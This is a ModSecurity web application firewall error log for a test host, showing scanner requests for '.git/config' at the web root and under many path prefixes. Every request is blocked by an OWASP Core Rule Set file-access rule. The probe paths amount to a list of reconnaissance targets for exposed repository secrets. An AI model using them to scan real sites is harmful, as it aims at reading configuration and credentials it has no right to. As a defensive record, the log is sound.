[Wed May 22 07:54:16.178446 2024] [:error] [pid 3395357] [client 18.200.247.85:59614] [client 18.200.247.85] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Zk2IiCC0SfZuqf1hbVzvAQAAAAA"]
[Wed May 22 07:54:16.179192 2024] [:error] [pid 3395357] [client 18.200.247.85:59614] [client 18.200.247.85] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Zk2IiCC0SfZuqf1hbVzvAQAAAAA"]
[Wed May 22 07:54:16.179627 2024] [:error] [pid 3395357] [client 18.200.247.85:59614] [client 18.200.247.85] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Zk2IiCC0SfZuqf1hbVzvAQAAAAA"]
[Wed May 22 20:15:46.400399 2024] [:error] [pid 3395394] [client 18.201.192.90:47646] [client 18.201.192.90] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Zk42Uhy_kxE0Cryukh32kQAAAAg"]
[Wed May 22 20:15:46.401164 2024] [:error] [pid 3395394] [client 18.201.192.90:47646] [client 18.201.192.90] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Zk42Uhy_kxE0Cryukh32kQAAAAg"]
[Wed May 22 20:15:46.401622 2024] [:error] [pid 3395394] [client 18.201.192.90:47646] [client 18.201.192.90] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Zk42Uhy_kxE0Cryukh32kQAAAAg"]
[Wed May 22 20:56:14.364993 2024] [:error] [pid 3395396] [client 91.215.85.43:56762] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /aomanalyzer/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/aomanalyzer/.git/config"] [unique_id "Zk4_zudio4tMHzszuH-1fAAAAAo"]
[Wed May 22 20:56:14.365789 2024] [:error] [pid 3395396] [client 91.215.85.43:56762] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/aomanalyzer/.git/config"] [unique_id "Zk4_zudio4tMHzszuH-1fAAAAAo"]
[Wed May 22 20:56:14.366374 2024] [:error] [pid 3395396] [client 91.215.85.43:56762] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/aomanalyzer/.git/config"] [unique_id "Zk4_zudio4tMHzszuH-1fAAAAAo"]
[Wed May 22 20:56:14.367125 2024] [:error] [pid 3395394] [client 91.215.85.43:56788] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /api/user/v4/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/user/v4/.git/config"] [unique_id "Zk4_zhy_kxE0Cryukh32kwAAAAg"]
[Wed May 22 20:56:14.367703 2024] [:error] [pid 3395394] [client 91.215.85.43:56788] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/user/v4/.git/config"] [unique_id "Zk4_zhy_kxE0Cryukh32kwAAAAg"]
[Wed May 22 20:56:14.368187 2024] [:error] [pid 3395394] [client 91.215.85.43:56788] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/user/v4/.git/config"] [unique_id "Zk4_zhy_kxE0Cryukh32kwAAAAg"]
[Wed May 22 20:56:14.372786 2024] [:error] [pid 3395359] [client 91.215.85.43:56802] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /config/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.git/config"] [unique_id "Zk4_zpTMfOoR75vS6_DpYAAAAAI"]
[Wed May 22 20:56:14.375062 2024] [:error] [pid 3395358] [client 91.215.85.43:56774] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /api/v1/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/v1/.git/config"] [unique_id "Zk4_zsLR5UJ49OezHSs-OwAAAAE"]
[Wed May 22 20:56:14.375542 2024] [:error] [pid 3395358] [client 91.215.85.43:56774] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/v1/.git/config"] [unique_id "Zk4_zsLR5UJ49OezHSs-OwAAAAE"]
[Wed May 22 20:56:14.375642 2024] [:error] [pid 3395357] [client 91.215.85.43:56822] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /common/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/common/.git/config"] [unique_id "Zk4_ziC0SfZuqf1hbVzvLQAAAAA"]
[Wed May 22 20:56:14.375872 2024] [:error] [pid 3395358] [client 91.215.85.43:56774] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/v1/.git/config"] [unique_id "Zk4_zsLR5UJ49OezHSs-OwAAAAE"]
[Wed May 22 20:56:14.376146 2024] [:error] [pid 3395357] [client 91.215.85.43:56822] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/common/.git/config"] [unique_id "Zk4_ziC0SfZuqf1hbVzvLQAAAAA"]
[Wed May 22 20:56:14.376534 2024] [:error] [pid 3395357] [client 91.215.85.43:56822] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/common/.git/config"] [unique_id "Zk4_ziC0SfZuqf1hbVzvLQAAAAA"]
[Wed May 22 20:56:14.376870 2024] [:error] [pid 3395359] [client 91.215.85.43:56802] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.git/config"] [unique_id "Zk4_zpTMfOoR75vS6_DpYAAAAAI"]
[Wed May 22 20:56:14.377059 2024] [:error] [pid 3395359] [client 91.215.85.43:56802] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.git/config"] [unique_id "Zk4_zpTMfOoR75vS6_DpYAAAAAI"]
[Wed May 22 20:56:14.377813 2024] [:error] [pid 3395392] [client 91.215.85.43:56794] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /blog/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/blog/.git/config"] [unique_id "Zk4_zoxthpOCBUxc2u8aCQAAAAY"]
[Wed May 22 20:56:14.378062 2024] [:error] [pid 3395392] [client 91.215.85.43:56794] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/blog/.git/config"] [unique_id "Zk4_zoxthpOCBUxc2u8aCQAAAAY"]
[Wed May 22 20:56:14.378257 2024] [:error] [pid 3395392] [client 91.215.85.43:56794] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/blog/.git/config"] [unique_id "Zk4_zoxthpOCBUxc2u8aCQAAAAY"]
[Wed May 22 20:56:14.378363 2024] [:error] [pid 3395395] [client 91.215.85.43:56814] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /api/admin/v1/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/admin/v1/.git/config"] [unique_id "Zk4_zgYtOgQFTVNZreu50QAAAAk"]
[Wed May 22 20:56:14.378687 2024] [:error] [pid 3395395] [client 91.215.85.43:56814] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/admin/v1/.git/config"] [unique_id "Zk4_zgYtOgQFTVNZreu50QAAAAk"]
[Wed May 22 20:56:14.378947 2024] [:error] [pid 3395395] [client 91.215.85.43:56814] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/admin/v1/.git/config"] [unique_id "Zk4_zgYtOgQFTVNZreu50QAAAAk"]
[Wed May 22 20:56:14.380079 2024] [:error] [pid 3395384] [client 91.215.85.43:56790] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /wp-content/themes/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-content/themes/.git/config"] [unique_id "Zk4_zmo8EkGRap188Sa_SwAAAAU"]
[Wed May 22 20:56:14.380403 2024] [:error] [pid 3395384] [client 91.215.85.43:56790] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-content/themes/.git/config"] [unique_id "Zk4_zmo8EkGRap188Sa_SwAAAAU"]
[Wed May 22 20:56:14.380638 2024] [:error] [pid 3395384] [client 91.215.85.43:56790] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-content/themes/.git/config"] [unique_id "Zk4_zmo8EkGRap188Sa_SwAAAAU"]
[Wed May 22 20:56:14.381955 2024] [:error] [pid 3395360] [client 91.215.85.43:56832] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /demo/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/demo/.git/config"] [unique_id "Zk4_zlQmnWT4N4NxlYdmPAAAAAM"]
[Wed May 22 20:56:14.382186 2024] [:error] [pid 3395360] [client 91.215.85.43:56832] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/demo/.git/config"] [unique_id "Zk4_zlQmnWT4N4NxlYdmPAAAAAM"]
[Wed May 22 20:56:14.382385 2024] [:error] [pid 3395360] [client 91.215.85.43:56832] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/demo/.git/config"] [unique_id "Zk4_zlQmnWT4N4NxlYdmPAAAAAM"]
[Wed May 22 20:56:14.383047 2024] [:error] [pid 3395393] [client 91.215.85.43:56826] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /staging/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/staging/.git/config"] [unique_id "Zk4_zpnsJP7yDq0rGFtwXQAAAAc"]
[Wed May 22 20:56:14.383288 2024] [:error] [pid 3395393] [client 91.215.85.43:56826] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/staging/.git/config"] [unique_id "Zk4_zpnsJP7yDq0rGFtwXQAAAAc"]
[Wed May 22 20:56:14.383481 2024] [:error] [pid 3395393] [client 91.215.85.43:56826] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/staging/.git/config"] [unique_id "Zk4_zpnsJP7yDq0rGFtwXQAAAAc"]
[Wed May 22 20:56:14.461867 2024] [:error] [pid 3395396] [client 91.215.85.43:56842] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /wp-content/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-content/.git/config"] [unique_id "Zk4_zudio4tMHzszuH-1fQAAAAo"]
[Wed May 22 20:56:14.462444 2024] [:error] [pid 3395396] [client 91.215.85.43:56842] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-content/.git/config"] [unique_id "Zk4_zudio4tMHzszuH-1fQAAAAo"]
[Wed May 22 20:56:14.462844 2024] [:error] [pid 3395396] [client 91.215.85.43:56842] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-content/.git/config"] [unique_id "Zk4_zudio4tMHzszuH-1fQAAAAo"]
